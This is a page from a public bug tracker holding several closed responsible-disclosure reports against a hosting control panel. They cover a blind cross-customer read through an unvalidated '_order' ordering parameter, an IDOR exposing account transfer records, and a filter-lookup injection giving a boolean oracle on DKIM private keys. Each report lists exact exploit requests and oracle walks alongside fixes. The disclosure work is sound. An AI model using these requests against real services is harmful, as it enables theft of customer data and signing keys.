|
495 | Cross Customer Data Read via Unvalidated _order Paramet ... | Closed | 24.09.2026 |
Task Description
Name of Vulnerability:
An undocumented query string parameter named `_order` is passed straight into Django's `order_by()` with no validation at all, so an attacker can supply an arbitrary ORM path rather than a value. This both traverses relations into models the caller has no access to and, through a multi-valued reverse relation, emits one row per related row of a shared parent, turning the position of the attacker's own row into a comparison oracle against every other customer's value in the chosen column.
Vulnerability Category:
Access Control Issues, Exposure of Sensitive Member Information, Cross-Customer Disclosure.
CVSS 3.1 score: 8.6 High (`AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:N/A:N`).
Confidentiality is High because arbitrary column content belonging to other customers is recoverable, demonstrated end to end. Integrity and Availability are None because this is a read-only primitive.
The vulnerable component is one list view's query string handling, while the impacted component is the stored data of the whole customer base.
I am deliberately not scoring this Critical. The primitive yields an ordering, not raw bytes, so recovering a column verbatim requires a column the attacker can also write text into, which is what I demonstrate. This is not true of `password`, which is hashed, nor of `dkim_private_key`, which the API validates as a key pair. I show below that `_order` sorts on those columns, but I do not claim to have recovered them.
Description:
This is not the filter defect reported previously, and the fix for that issue does not touch this one.
The earlier report concerned `key=value` filter parameters reaching `.filter()`. This is a different parameter reaching a different ORM operation. The filter helper could not traverse relations usefully because the value still had to be a real primary key.
`_order` has no value restriction. The path itself is the value, so an arbitrary ORM traversal is simply accepted.
```text GET /mailbox/?_order=name 200, ordering applied GET /mailbox/?_order=zzbogus4471 500 GET /mailbox/?_order=domainzzbogus 500, uncaught FieldError GET /mailbox/?_order=domaindkim_private_key 200 GET /mailbox/?_order=domainaccountcustomerpassword 200, accepted ```
The 500 responses are how I mapped the model graph: a path that resolves returns 200, while one that does not resolve raises an uncaught `FieldError`.
### TWO PROPERTIES COMBINE TO MAKE THIS A CROSS-CUSTOMER READ
First, relation traversal.
A free plan customer's own mailbox sits on `odata.net`, which is Domain primary key 1 and belongs to the customer. From that one owned row, `domain` reaches the customer's own domain columns, and `domainaccountcustomer` reaches the Customer model, which carries `last_login` and is therefore part of the authentication model.
Second, and this is the actual read primitive, ordering by a multi-valued reverse relation does not deduplicate.
`domainmailboxes<column>` emits one output row per mailbox on `alwaysdata.net`, so a single owned row is repeated once per other customer's row. The resulting sequence is ordered by their values in the chosen column.
An attacker with a domain of their own contributes exactly one row to the same result set, and its index is the rank of a string the attacker chose among all of the other values.
Changing that string and rereading the index creates a comparison oracle, and a comparison oracle is a blind read.
### MEASURED RESULTS
All measurements below were performed on 2026-09-24:
```text GET /mailbox/ 200
GET /mailbox/?_order=domainmailboxesname 200 43,700,241 bytes 50,929 rows
GET /mailbox/?_order=domainmailboxesname&page=2 identical result
GET /mailbox/?_order=domainsubdomainsaddressessite
200
24,919,125 bytes
GET /mailbox/?_order=domainsubdomainsaddressessiteaccount
200
48,162,527 bytes
56,148 rows
43.6 seconds
```
A malformed path such as:
```text GET /mailbox/?_order=domainsubdomainsaddressessitezzbogus ```
returns a 500 response.
### WHAT THE SAME DEFECT ALSO REACHES
I am stating this as reach, not as an additional impact claim.
On `alwaysdata.net`, subdomains are every customer's `<account>.alwaysdata.net`. Therefore, the chain above pivots from subdomains to addresses to site to account to customer.
The control plane can therefore sort 56,148 rows by the `password` column of its authentication model.
I am recording how far an unvalidated path travels, not claiming disclosure of that column. I did not recover a single byte of it, and I cannot do so with this technique because recovery requires a column an attacker can also write a comparand into, while `password` is hashed.
The demonstrated impact of this report is the cross-customer recovery described below.
### WHAT THIS REACHES THAT A CUSTOMER CANNOT ALREADY REACH
My shell is `drwxr-x–x`, so it cannot be listed, and a filesystem-wide grep for my planted secret returns nothing.
A customer's own shell cannot read a single other customer's mailbox row through any route.
The same control on the API confirms the authorization boundary:
Customer A receives HTTP 404 on `/mailbox/635949/` and on `/v1/mailbox/635949/` when requesting Customer B's mailbox, while receiving 200 on its own row in the same minute.
## VULNERABLE INSTANCES
```text GET https://admin.alwaysdata.com/mailbox/?_order=<arbitrary ORM path> ```
The parameter is honoured identically on:
```text /site/ /domain/ /ssl/ /job/ /service/ /ip/ ```
and on:
```text https://api.alwaysdata.com/v1/ ```
with the same syntax.
It is not honoured on:
```text /token/ /support/ /database/ /subscription/ /permission/ ```
The issue is reachable by any authenticated customer on a free plan. No paid plan, special role, or additional permission grant is required.
## TWO THINGS I WANT TO SAY BEFORE YOU ASK
### FIRST
The same person registered both customers, and that is not relevant to the authorization boundary.
The two customers below were created by one researcher. What matters is that the control plane models them as separate customers and enforces that separation everywhere else.
Customer A receives 404 on Customer B's mailbox on both the panel and API while receiving 200 on its own row in the same minute.
Customer A's API token against Customer B's account ID returns 404, byte-identical to a nonexistent ID.
The account pickers are disjoint, and Customer B does not appear in Customer A's customer selector.
The boundary this report crosses is the one the platform draws, which is the relevant security boundary for this finding.
### SECOND
The value I recovered was one I deliberately planted.
I wrote a canary into a free-text column of a mailbox belonging to the other customer and then recovered it from a session that has no access to that mailbox.
I did this so that no real third-party data was ever read, inferred, or recorded.
The oracle necessarily ranks my probes against the other 50,928 rows in the population, which is the defect itself, but every value I reconstructed was my own.
## STEPS TO REPRODUCE
Total cost: EUR 0.
Two unrelated customers were used, each with their own permissions and disjoint account pickers.
```text Customer A = user 489835 Customer B = user 489840 Mailbox B = 635949 ```
### 1. Plant the canary
As Customer B, store a secret in a free-text column of B's own mailbox on `alwaysdata.net`.
I used `autoresponder_subject`.
The 8-character secret came from `/dev/urandom` and was never opened. Its SHA-256 was committed to the shared working log at `08:57:29Z`, before any probe, so the recovery below is verifiably blind rather than reconstructed from the probe process.
### 2. Create comparands
As Customer A, create one domain of your own and eight mailboxes.
Each mailbox becomes an independent comparand in the same request because the reverse relation emits each mailbox once per population row.
### 3. Issue the ordering request
As Customer A:
```http GET /mailbox/?_order=domainmailboxesautoresponder_subject ```
Read the indices at which your own eight rows appear.
Each index tells you how many values sort before that comparand, allowing approximately `log2` of the alphabet to be resolved for a character position.
### 4. Repeat
Two requests per character were enough against a 36-character alphabet.
### 5. Result
All 8 characters were recovered from `09:00:01Z` to `09:12:26Z`, in 16 requests.
The recovered string hashes to the digest committed at `08:57:29Z`.
Customer A never had access to Customer B's mailbox before or after the test, as demonstrated by the authorization controls.
## PROOF OF CONCEPT
### COST PER PROBE
Approximately 37 seconds and 786 KB, not 43 MB.
`autoresponder_subject` sorts the whole population and PostgreSQL sorts ascending with `NULLS LAST`, so the interesting window sits near output index 720 of approximately 50,930.
The response can be read as a stream and abandoned once the relevant window has passed.
This saves my bandwidth, not server-side work. Time to first byte remains approximately 33 to 37 seconds.
### THE FIVE CONTROLS
All controls were run in the same window because a rank on its own is not sufficient evidence.
C0: Baseline, canary never planted
The window is a contiguous empty region of population rows. Any later split is caused by the canary.
C1: Predict the rank of a known value
The predicted rank was `32 | 1 | 32`.
C2: Canary removed
The split collapses back to a single block and the delta returns to 0.
This is the control that isolates the canary and was the control that could not be completed earlier.
C3: Replant a different chosen value
The predicted result was `48 | 1 | 16`, matching the changed ordering position.
C4: A second, separately authenticated session
The same reading was reproduced.
### AUTHORIZATION CONTROL
In the same minute, Customer A receives:
```text 404 on /mailbox/635949/ 404 on /v1/mailbox/635949/ 200 on its own /mailbox/635597/ ```
### THE FAN-OUT ITSELF
This was proved on both front doors without making a 43 MB request.
Bounding the queryset to a single owned mailbox:
```text /v1/mailbox/?name=c2&_order=domainmailboxesid ```
returns eight copies of the control row compared with:
```text ?_order=id ```
The same behaviour occurs on the panel.
### WHAT I DID NOT DO
I did not read, infer, or record any value belonging to another customer.
Every value I reconstructed was one I planted on an account I own.
The generalisation to the other 50,928 rows is argued from the mechanism, not exercised.
## IMPACT
Any authenticated customer on a free plan can read the contents of another customer, one comparison at a time, without ever touching an object they do not own and without triggering any object-level authorization check.
No object-level check is involved because the rows returned are the attacker's own rows.
What is recoverable verbatim today is any column the attacker can also write, which covers the free-text mailbox columns.
I measured which columns the parameter actually accepts, in one batch with a control:
```text ?_order=domainmailboxesredirect_to
resolves
indicates where a customer forwards their mail
?_order=domainmailboxessieve_filter
resolves
?_order=domainmailboxesautoresponder_message
resolves
?_order=domainmailboxesantispam_folder
resolves
?_order=domainmailboxespurge_folders
resolves
?_order=domainmailboxespassword
resolves
sortable, but not recoverable verbatim
?_order=domainmailboxeszzbogus4471
500 / 1,033 bytes
NEGATIVE CONTROL
```
What is additionally sortable, but which I did not recover and am not claiming as a disclosure, includes the `password` column of the authentication model and `dkim_private_key` of `alwaysdata.net` itself.
Neither is recoverable verbatim using this technique because `password` is hashed and the API validates `dkim_private_key` as a key pair.
I mention them only to show how far the unvalidated path travels when sizing the fix.
I would also point out that the fix for the earlier filter report is separate from this query string handling issue. This parameter is a second instance of the same underlying habit. I mention this to be useful about the class, not to relitigate the earlier ticket.
## RECOMMENDATION
1. Validate `_order` against an explicit allow list of orderable columns, just as would be done for a filter field. Rejecting anything containing `__` would close the traversal on its own.
2. Apply `.distinct()` wherever an ordering may cross a multi-valued relation. The de-duplication is what converts a sort into a read primitive.
3. Catch `FieldError` and return HTTP 400 rather than HTTP 500. The uncaught exception currently acts as an oracle over the internal model graph, including models the panel never renders.
4. Paginate this view. It currently renders 56,148 rows and approximately 48 MB in the demonstrated request.
5. The same parameter is honoured on `api.alwaysdata.com`, so both front doors should be fixed. I checked and the API has no pagination parameter at all.
## DISCLOSURE
I want to explicitly document the testing activity because the application reports alerts when this parameter is exercised.
I caused 36 alerts on this parameter between approximately `06:00Z` and `09:15Z` on 2026-09-24.
Every test object I created has been deleted and verified gone, and both mailboxes I touched were restored field by field with a read-back verification.
|
|
494 | Any Customer Reads Every Account Transfer Record | Closed | 23.09.2026 |
Task Description
Vulnerability Information:
Name of Vulnerability: `/transfer/<id>/confirm/` performs no object-level authorization, allowing any authenticated customer to read account transfer records created for other customers by walking the global sequential ID space.
The endpoint exposes the transferred account's name, product tier, and email address of the person receiving the transfer, while the sibling `/transfer/<id>/accept/` and `/transfer/<id>/cancel/` views correctly scope the same object.
Vulnerability Category: Access Control Issues, Exposure of Sensitive Members Information, per the qualifying list on your bug bounty page.
This is the same class as FS#423 (IDOR to registrant dossiers) and FS#203 (account data exposed through insufficient authorization), both of which you fixed.
CVSS 3.1: 6.5 Medium AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N
I score this based on the demonstrated primitive only: read access, one record per request, and no write capability.
The issue exposes third-party personal data, including email addresses, and therefore falls within the "accessing customers' data" impact category.
This report is unrelated to my two reports concerning `/reseller/domain/`. It is a different application and a different authorization defect.
Description:
Account ownership transfers, referred to as "cession", are represented by objects with a single global sequential ID rather than per-customer numbering.
The three views that operate on a transfer are:
``` /transfer/<id>/accept/
Correctly scoped
404 for a transfer the authenticated customer is not party to
/transfer/<id>/cancel/
Correctly scoped
404 for a transfer the authenticated customer is not party to
/transfer/<id>/confirm/
NOT scoped
200 for every existing transfer ID
```
The missing authorization check on `/confirm/` is the entire defect.
The existing codebase provides the control that demonstrates this clearly. Using the same user, in the same session, against the same transfer ID, `/accept/` and `/cancel/` refuse access while `/confirm/` serves the object.
The confirmation page renders:
``` "The transfer of the account <ACCOUNT NAME> is currently being accepted by <EMAIL ADDRESS>." ```
The product tier is also present in the page heading, for example:
``` "Transfer of a Private cloud account" ```
Because the transfer ID space is a single global counter, an attacker does not need to guess individual identifiers. They can enumerate them sequentially.
I swept a contiguous window of 68 IDs and 64 returned HTTP 200. Additional spot checks at IDs 800, 1400, 2000, 3000, 4500, and 4900 also returned HTTP 200.
This demonstrates that the vulnerable endpoint covers historical transfer records rather than only a recent slice.
Transfer ID 2000 predates every account I own, which rules out any permission relationship between my own accounts as an explanation.
WHAT THIS REACHES THAT A CUSTOMER CANNOT ALREADY REACH
A tenant's own SSH shell cannot enumerate another customer's ownership-transfer history.
This is control-plane state. The record couples a business or project account with the email address of the individual receiving ownership of it, identifying which party in a private commercial handover ultimately received the asset.
Nothing in a customer's own environment exposes this information.
Vulnerable Instances:
``` GET https://admin.alwaysdata.com/transfer/<id>/confirm/
POST https://admin.alwaysdata.com/transfer/<id>/confirm/ ```
The POST is also read-only in the observed behavior and does not mutate the transfer.
`<id>` can be any existing transfer ID.
The endpoint is reachable by any authenticated customer.
No permission grant, reseller role, or paid plan is required.
Steps to Reproduce:
Total cost: EUR 0.
I used a customer login with no relationship to the affected transfers.
All times are UTC, 2026-09-23.
1. Log in as an ordinary customer.
I used the login listed in the private annex. It owns exactly one account:
``` zzr1sticky0921 ```
Its "Granted permissions" list is empty.
2. Request:
GET /transfer/2000/confirm/
The endpoint returns HTTP 200 with a 149,638-byte response.
The body identifies a third-party account and the email address of the person accepting its transfer.
I read three transfer records in full. Their identifying values are listed in the private annex rather than in this report because tasks on this tracker are published and the values belong to your customers.
3. THE CONTROL THAT PROVES THE CHECK IS MISSING
Using the same session, the same IDs, and the same minute, two of the three sibling views refuse the exact object that `/confirm/` serves.
See the Proof of Concept for the response matrix.
4. FURTHER CONTROLS
a) A 200 response genuinely means that the record exists, making the endpoint an existence oracle:
``` /transfer/99999999/confirm/
404
/transfer/-1/confirm/
404
/transfer/0/confirm/
404
```
b) Authentication is required, so this is not an unauthenticated leak:
``` Anonymous GET /transfer/2000/confirm/ ```
returns:
``` 302 to /login/?next=/transfer/2000/confirm/ ```
c) I reproduced the issue from a second, unrelated customer login, confirming that it is not an artifact of a single account.
d) No other transfer sub-route I tested was open.
I swept 24 sub-routes including:
``` accept cancel decline refuse reject delete detail edit update resend renew validate complete finish abort status retry approve deny transfer the bare ID route ```
Every tested route returned 404 at exactly 179 bytes, identical to the response for a nonexistent ID.
Only `/confirm/` was readable cross-customer.
I include this control to make the blast radius precise: this is a disclosure issue, not a demonstrated takeover path.
5. RE-VERIFIED
I re-verified the issue at 05:45:11Z UTC from a newly established session, logged in from scratch specifically for this check.
No part of the evidence therefore depends on a session used for another test.
Proof of Concept:
All output below is verbatim. Customer-identifying values are replaced with placeholders and provided in the private annex.
Sibling view matrix, same session, same IDs, same minute:
``` ID /confirm/ /accept/ /cancel/ 2000 200 (149,638 B) 404 (179 B) 404 (179 B) 4500 200 (149,636 B) 404 (179 B) 404 (179 B) 5030 200 (149,632 B) 404 (179 B) 404 (179 B) ```
Nonexistent and negative ID controls on the SAME view:
``` /transfer/99999999/confirm/ 404 /transfer/-1/confirm/ 404 /transfer/0/confirm/ 404 ```
Unauthenticated control:
``` anonymous GET /transfer/2000/confirm/
302 to /login/?next=/transfer/2000/confirm/
```
Shape of the disclosed response body, with the two sensitive values replaced:
``` Home > Transfers > Transfer of a Private cloud account
"The transfer of the account <ACCOUNT-X> is currently being accepted by <EMAIL-X>. This only concerns the ownership of the account. If you also want the contents to be migrated to another server, please …" ```
Extent of the ID space:
``` IDs 4995 to 5062
64 of 68 returned HTTP 200
```
Spot checks returning HTTP 200:
``` 800 1400 2000 3000 4500 4900 ```
Transfer ID 2000 predates every account I own.
Impact:
Any person with a free Alwaysdata account can enumerate the global history of account ownership transfers on the platform.
For each transfer, the endpoint exposes:
``` Account name Product tier Email address of the receiving party ```
Concretely:
Commercial and personal relationship disclosure.
The endpoint links a named hosting account, and therefore potentially a business or project, to the personal email address of the individual receiving control of it.
For customers who are individuals or sole traders, this directly exposes personal information to any authenticated customer.
Commercially sensitive transfer events.
An account transfer can represent a business handover, a freelancer transferring client infrastructure, or another private ownership change.
The existence, timing, account identity, and receiving party of the transfer are disclosed.
Phishing and social-engineering targeting.
An attacker can obtain the exact account name and product tier associated with a genuine transfer and address the recipient using the email address exposed by the endpoint.
This provides a substantially more specific pretext than generic phishing.
Platform-wide transfer enumeration.
The existence oracle also provides information about historical transfer activity across the platform.
Recommendation:
1. Apply to `/transfer/<id>/confirm/` the same queryset scoping already used by `/transfer/<id>/accept/` and `/transfer/<id>/cancel/`.
Those two views provide the correct reference implementation.
The missing object-level authorization check appears to be the direct defect.
2. Confirm that the scoping predicate covers both parties to the transfer.
Specifically, verify that access is restricted to the transfer sender or the named recipient, and that this predicate is applied consistently to both GET and POST handling.
`/confirm/` currently responds to GET requests without the required object-level scope.
3. As defense in depth, apply the same principle used for the reseller views.
The transfer views should not default to a global queryset when the customer-specific filter is omitted.
A shared base view or authorization mechanism that requires object scoping would prevent another sibling view from accidentally exposing the same global dataset.
4. Optional and secondary: consider whether the confirmation page needs to display the recipient's full email address before acceptance.
A masked form may reduce unnecessary personal-data exposure even after the authorization issue is fixed.
DISCLOSURE AND CLEANUP:
I read three transfer records in full, plus one earlier record during discovery.
For the remaining enumeration, I recorded only HTTP status codes and response sizes.
Nothing was created, modified, accepted, cancelled, or deleted.
`/confirm/` is read-only based on the observed behavior.
I have not retained the personal data beyond the private annex submitted alongside this report, and I will destroy that annex upon your confirmation.
Customer-identifying values have deliberately been omitted from this published task because they belong to your customers.
Test window:
``` 2026-09-23 04:40Z to 05:45Z UTC ```
|
|
493 | Blind Read of DKIM Private Keys via Filter Injection | Closed | 23.09.2026 |
Task Description
Vulnerability Information:
Name of Vulnerability: The /reseller/domain/ endpoint allows attacker-controlled Django ORM lookups on TextField columns, turning the row count into a boolean oracle that can extract DKIM private keys character by character for domains across the entire 43,545-record register
Vulnerability Category: Access Control Issues, Exposure of Sensitive Members Information, per the qualifying list on your bug bounty page.
This is a cross-customer disclosure of private key material.
CVSS 3.1: 9.3 Critical AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:L/A:N
Confidentiality is High because the private half of a customer's DKIM keypair is exposed.
Integrity is Low rather than None because possession of a DKIM signing key allows an attacker to produce mail that authenticates as the victim's domain, corrupting the integrity of a security control operated by the customer. This does not directly modify data on the Alwaysdata platform.
Scope is Changed because the vulnerable component is the control-plane view, while the impacted component is the mail-authentication infrastructure of the 24,867 domains that hold a DKIM private key.
Description:
THIS IS A SECOND, INDEPENDENT DEFECT ON THE SAME ENDPOINT as my report "Full Customer Domain Register Readable by Any Customer."
That report concerns the missing authorization decorator and therefore who may reach this view. This report concerns what the view does with its query string after it has been reached.
The two issues require separate fixes. Adding the missing authorization decorator would still leave this vulnerability reachable by any legitimate reseller. The same filter helper is also mounted on:
``` /site/ /ssh/ /ftp/ /webdav/ /domain/ ```
where tenancy scoping currently happens to contain the issue.
For each key=value pair in the query string, the view performs:
``` base = key.split('')[0] ```
It then resolves base against the Domain model.
Three outcomes are possible:
``` base is not a field The parameter is silently ignored.
base is a CharField The code appends icontains to the WHOLE key.
This is why:
?name__startswith=x
raises an uncaught FieldError and results in HTTP 500. The ORM is effectively asked for:
name__startswith__icontains
base is a TextField
NOTHING is appended.
Whatever lookup the attacker supplied is passed directly to .filter(), together with an attacker-controlled operand.
```
dkim_private_key and dkim_public_key are TextFields on this model.
This means an attacker can issue arbitrary true/false questions about the contents of a private key and observe the answer through the number of rows returned.
Because the same query string also accepts:
``` ?name=<domain> ```
the attacker can first restrict the result set to exactly one domain and then ask questions about that specific row.
This converts a global row-count response into a per-domain, character-by-character read primitive.
THIS IS NOT THE DOCUMENTED OWNER READ.
Your API documentation describes dkim_private_key as:
``` "La clé privée, de type RSA au format PEM" ```
The legitimate owner read path works correctly. I verified that:
``` /v1/domain/<id>/ ```
returns 404 when requested for a domain I do not own.
A customer reading their own DKIM key through an intended owner-only API is therefore not the issue.
The defect is that this reseller-domain endpoint allows another customer to query the private key for any domain.
WHAT THIS REACHES THAT A CUSTOMER CANNOT ALREADY REACH
A DKIM private key is not exposed to a tenant through any other route I tested.
I verified this from the node:
``` uid=548819(vk7research) hostname=ssh2 ```
There is no readable /etc/opendkim* file, no readable file matching *dkim*, and:
``` ls /home/ ```
returns:
``` Permission denied ```
A customer's own shell therefore cannot read a DKIM private key at all, including its own, let alone another customer's.
Vulnerable Instances:
``` GET https://admin.alwaysdata.com/reseller/domain/?dkim_private_key__startswith=<attacker string>
GET https://admin.alwaysdata.com/reseller/domain/?name=<victim domain>&dkim_private_keyregex=<pattern>
GET https://admin.alwaysdata.com/reseller/domain/?dkim_private_key__endswith=<attacker string> ```
The same mechanism applies to:
``` dkim_public_key ```
The endpoint is reachable by any authenticated customer.
No reseller role, permission grant, or paid plan is required.
Steps to Reproduce:
Total cost: EUR 0.
I used an ordinary customer login with no special role. All times are UTC, 2026-09-23.
I used two unrelated customer sessions and obtained identical results.
1. Establish that the vulnerable column is reachable and that the oracle has both TRUE and FALSE states.
Counts were read from the paginator rather than estimated:
``` /reseller/domain/ 2178 pages 43,545 rows Entire register
/reseller/domain/?dkim_private_keystartswith=—–
1244 pages
24,867 rows
Domains holding a PEM key
/reseller/domain/?dkim_private_keystartswith=ZZZZNOPE 0 rows Negative control ```
A parameter that was being ignored could not produce 0 rows, while a parameter that was always true could not produce exactly 24,867 of 43,545 rows.
Both states are real, establishing a working boolean oracle.
2. Pin the result set to a SINGLE row and ask questions about that row.
I deliberately chose Alwaysdata's OWN domain so that every value I touched belonged to you rather than to a customer.
``` ?name=alwaysdata.net 1 row
?name=alwaysdata.net&dkim_private_keystartswith=—–
1 row
TRUE
?name=alwaysdata.net&dkim_private_keystartswith=ZZZZ 0 rows FALSE control
?name=alwaysdata.net&dkim_private_keystartswith=—–BEGIN
1 row
?name=alwaysdata.net&dkim_private_keystartswith=—–BEGIN RSA 1 row
?name=alwaysdata.net&dkim_private_keystartswith=—–BEGIN DSA
0 rows
FALSE control
?name=alwaysdata.net&dkim_private_keyendswith=—–END RSA PRIVATE KEY—–
1 row ```
The RSA versus DSA pair is important because the oracle discriminates based on the CONTENT of the value, not merely whether a value is present.
The endswith result also demonstrates that the far end of the value is reachable, so extraction is not limited to a prefix walk.
3. Extraction was performed against Alwaysdata's OWN domain so that no customer key material was touched.
See the Proof of Concept below for the character walk.
The LINE ENDING was determined by the oracle rather than assumed:
``` —–BEGIN RSA PRIVATE KEY—–\r\n
1 row
—–BEGIN RSA PRIVATE KEY—–\n
0 rows
```
This demonstrates that the oracle is reading the stored value rather than merely reporting that a value exists.
I STOPPED at eight characters of base64 DER boilerplate.
Specifically:
``` MIICXAIB ```
is the PKCS#1 DER prefix shared by 1024-bit RSA private keys and therefore contains no bytes specific to your key.
I deliberately printed nothing beyond that point and do not hold anything beyond it.
Using:
``` regex=^<known>[<class>] ```
a binary search over the alphabet would require approximately six requests per character.
I measured the endpoint's behavior rather than assuming it.
Twenty consecutive probes on this parameter all returned HTTP 200 with:
``` No 429 No 503 No delay ```
at approximately 0.6 requests per second.
I did not test higher rates and therefore make NO claim that rate limiting is absent. I only establish that none was encountered at the rate used for the test.
4. PROOF THAT THIRD-PARTY CUSTOMERS ARE AFFECTED
I established this without reading anyone's private key.
I ran ONE boolean probe against ONE third-party domain taken from the first page of the register. It is referred to here as:
``` <THIRD-PARTY-DOMAIN-A> ```
and is identified in the private annex.
The domain is owned by an account that is not mine and has no relationship to my accounts.
The requests were:
``` ?name=<THIRD-PARTY-DOMAIN-A> 1 row
?name=<THIRD-PARTY-DOMAIN-A>&dkim_private_keystartswith=—–BEGIN
1 row
TRUE
?name=<THIRD-PARTY-DOMAIN-A>&dkim_private_keystartswith=ZZZZ 0 rows FALSE control ```
The only question asked was whether the value begins with the universal PEM header.
No key material was disclosed by this probe, and I did not continue extraction against that domain.
I deliberately do NOT provide a number for how many of the 24,867 keys belong to external customers.
The Internal column is not filterable:
``` ?internal=1 ?internal=0 ```
Both return the full 43,545 rows.
Therefore, any split between internal and external domains would require an assumption, and I am not making one.
5. THE KEY IS LIVE, not a dormant database column.
I verified that the value read by the oracle corresponds to a DKIM key that is published and in use.
See the Proof of Concept below.
Proof of Concept:
All output below is verbatim.
Counts, computed from the paginator bound and the row count on the last page:
``` /reseller/domain/ 2178 pages 5 on the last page 43,545 total
/reseller/domain/?dkim_private_key= 934 pages 18 on the last page 18,678 empty
/reseller/domain/?dkim_private_keystartswith=—–
1244 pages
7 on the last page
24,867 with key
18,678 + 24,867 = 43,545 ```
Every row in the register is therefore accounted for, and the two predicates partition the entire register.
This arithmetic is an internal consistency check that the filter is actually being applied.
Character walk on alwaysdata.net:
Each line represents a separate request. The value shown is the startswith operand and the result is the row count.
``` —–BEGIN RSA PRIVATE KEY—–\r\n 1 Line ending determined by the oracle
—–BEGIN RSA PRIVATE KEY—–\n 0 Control, LF alone is incorrect
—–BEGIN RSA PRIVATE KEY—–\r\nM 1
—–BEGIN RSA PRIVATE KEY—–\r\nMI 1
—–BEGIN RSA PRIVATE KEY—–\r\nMII 1
—–BEGIN RSA PRIVATE KEY—–\r\nMIIC 1
—–BEGIN RSA PRIVATE KEY—–\r\nMIICX 1
—–BEGIN RSA PRIVATE KEY—–\r\nMIICXA 1
—–BEGIN RSA PRIVATE KEY—–\r\nMIICXAI 1
—–BEGIN RSA PRIVATE KEY—–\r\nMIICXAIB 1
—–BEGIN RSA PRIVATE KEY—–\r\nMIID 0 Control, same depth, wrong character
—–BEGIN RSA PRIVATE KEY—–\r\nNIIC 0 Control, same depth, wrong character ```
Recovered prefix:
``` —–BEGIN RSA PRIVATE KEY—–\r\nMIICXAIB ```
I stopped at that point.
The key is live and published:
``` dig TXT default._domainkey.alwaysdata.net ```
returned:
``` "v=DKIM1; p=MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC/sSC4hrmqyHzkMAU8tpK7BWmvg5JmOBbs028HZQDi…" ```
The zone answered with the same public key for every selector tested:
``` default mail dkim alwaysdata selector1 k1 s1 ad smtp key1 ```
This indicates a wildcard *._domainkey record, meaning the key is reachable under any selector a verifier looks up.
The register also agrees with DNS regarding the configured selector.
dkim_selector is a CharField, so the same filter surface provides a contains match:
``` ?name=alwaysdata.net&dkim_selector=default 1 row ```
Controls:
``` mail 0 rows
dkim 0 rows
zzznope 0 rows ```
The two key halves are also consistent in size and format.
The published public key begins with:
``` MIGf ```
which is the header for a 1024-bit RSA public key.
The private value recovered by the oracle begins with:
``` MIICXAIB ```
which is the PKCS#1 header for a 1024-bit RSA private key.
Therefore, the readable private value corresponds to the public key that your verifiers are actually checking signatures against.
Error behavior revealing the mechanism:
``` ?namestartswith=x
HTTP 500
Uncaught FieldError
The ORM is asked for name__startswith__icontains
?accountzzbogus=1 HTTP 500 Uncaught FieldError
?xyzid=1
HTTP 200
Silently ignored because the first segment is not a model field
?dkim_private_keystartswith=<anything> HTTP 200 Filter applies because the first segment is a TextField ```
Impact:
An attacker with a free Alwaysdata account can extract the DKIM signing key of any domain hosted by Alwaysdata.
With a domain's DKIM private key, an attacker can sign mail that passes DKIM as that domain.
The Proof of Concept demonstrates that the corresponding public key is published and served under the tested selectors.
Because DKIM is used by DMARC for alignment, a DMARC policy of p=reject does not by itself prevent forged mail when the attacker possesses the legitimate DKIM signing key. The forged message can authenticate correctly using the compromised key.
This enables:
Undetectable business email compromise against customer domains.
An attacker possessing the private key can produce mail that cryptographically authenticates as the victim domain, including messages containing invoices, payment-detail changes, or instructions to staff.
24,867 domains contain a readable DKIM private key, and I demonstrated the read primitive against a third-party customer's domain without extracting its key.
Defeat of the victim's own anti-phishing posture.
Customers that have configured SPF, DMARC, and DKIM correctly can still be affected because possession of the legitimate signing key allows an attacker to generate valid DKIM signatures.
Persistent compromise.
The key does not expire simply because it has been disclosed. Remediation requires the customer to rotate the DKIM key and publish a new public key.
The most significant single row is alwaysdata.net itself.
I confirmed that it contains a readable RSA private key with a live published public half.
This is the domain under which customer mailboxes live and, more importantly, the domain from which your own transactional mail is sent, including password-reset messages.
An attacker holding that key can therefore send DKIM-valid mail as alwaysdata to your customer base.
Recommendation:
1. Fix the filter construction.
Validate the WHOLE parameter key against an explicit allow list of <field><lookup> combinations that the endpoint is intended to support.
Do not validate only the first path segment.
The current asymmetry is the specific cause of the vulnerability:
``` CharField → icontains appended TextField → no lookup appended ```
A TextField should receive the same safe treatment as a CharField. Preferably, attacker-supplied lookups should not be accepted at all.
2. Remove dkim_private_key from the queryset fields that this view can filter on, and from any serializer that does not require it.
A private key should never be a filterable column.
3. Fix the missing authorization on /reseller/domain/ as described in my separate report.
Neither fix substitutes for the other.
The authorization decorator alone would still leave this vulnerability reachable by every legitimate reseller, and the same filter helper is shared with:
``` /site/ /ssh/ /ftp/ /webdav/ /domain/ ```
4. Treat the DKIM keys as potentially compromised.
The endpoint has been reachable by any customer, and I encountered no throttling at the rate used for testing.
I would rotate affected DKIM keys, starting with alwaysdata.net.
5. Return HTTP 400 rather than HTTP 500 for an unresolvable lookup.
Currently:
``` ?namestartswith=x ```
and:
``` ?account__zzbogus=1 ```
produce uncaught FieldErrors.
DISCLOSURE AND CLEANUP:
No object was created, modified, or deleted at any point.
This report is entirely read-only.
The ONLY row I ever pinned and walked character by character was alwaysdata.net, which belongs to Alwaysdata.
I stopped after eight bytes of universal PEM and DER boilerplate.
I did not extract and do not hold any key material belonging to Alwaysdata or any customer.
Cross-customer reach is evidenced by three requests against one third-party domain, asking only whether its value begins with the universal PEM header.
That domain is identified in the private annex rather than in this task because tasks on this tracker are published.
I also generated approximately 20 uncaught FieldError HTTP 500 responses on /reseller/domain/ between 06:29Z and 07:10Z while mapping which fields were reachable.
The 500 page states:
``` "We have been immediately alerted" ```
Those alerts are therefore explained by this report.
Test window:
``` 2026-09-23 06:29Z to 08:25Z UTC ```
|
|
492 | Full Customer Domain Register Readable by Any Customer | Closed | 23.09.2026 |
Task Description
Vulnerability Information:
Name of Vulnerability: Unauthorised access to the global reseller domain listing exposes 43,545 customer domain records, including owning account names, internal customer IDs, and expiration dates
Vulnerability Category: Access Control Issues, Exposure of Sensitive Members Information, per the qualifying list on your bug bounty page.
This is the same class as FS#203 (account domains exposed through insufficient authorization) and FS#423 (IDOR to registrant dossiers), both of which you fixed.
CVSS 3.1: 7.7 High AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:N/A:N
